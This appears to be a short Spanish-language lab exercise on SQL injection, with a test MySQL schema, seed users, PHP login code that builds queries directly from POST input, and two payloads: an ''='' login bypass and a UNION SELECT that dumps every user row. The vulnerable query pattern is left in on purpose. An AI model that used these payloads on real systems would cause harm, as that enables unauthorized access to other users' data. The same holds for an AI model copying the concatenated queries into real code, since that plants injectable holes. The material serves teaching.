Objetivo: Simular un ataque de inyección de código SQL en un sitio web vulnerable para acceder a información sensible en nombre de otro usuario.
¿Qué es una Inyección SQL?
Una inyección SQL es un tipo de ataque en el que un atacante inserta o "inyecta" código SQL malicioso en una
consulta SQL a través de la entrada de datos de un usuario. Esto puede permitir al atacante manipular la
base de datos subyacente, acceder a datos sensibles, o incluso tomar el control total de la base de datos.
Base de datos
CREATE DATABASE IF NOT EXISTS base_usuarios;
CREATE TABLE IF NOT EXISTS base_usuarios.usuario (
id INT(11) NOT NULL AUTO_INCREMENT,
usr_name VARCHAR(100) NOT NULL,
usr_email VARCHAR(100) UNIQUE NOT NULL,
usr_pass VARCHAR(100) NOT NULL,
imagen VARCHAR(100) DEFAULT NULL,
PRIMARY KEY (id)
);
# usuarios de prueba
INSERT INTO base_usuarios.usuario (usr_name, usr_email, usr_pass) VALUES
('Usuario1', 'usuario1@example.com', '1234'),
('Usuario2', 'usuario2@example.com', '1234'),
('Usuario3', 'usuario3@example.com', '1234');
// Consulta original (Código PHP en servidor):
$password = $_POST['password'];
$query =
"SELECT * FROM usuario WHERE usr_email = '
$email' AND usr_pass = '$password'"
;
// La consulta SQL resultante:
SELECT * FROM usuario WHERE usr_email = 'usuario1@example.com' AND usr_pass =
'' or ''=''
// Consulta original (Código PHP en servidor):
$email = $_POST['email'];
$query =
"SELECT * FROM usuario WHERE usr_email = '
$email'"
;
// La consulta SQL resultante:
SELECT * FROM usuario WHERE usr_email = '' UNION SELECT * FROM usuario;#'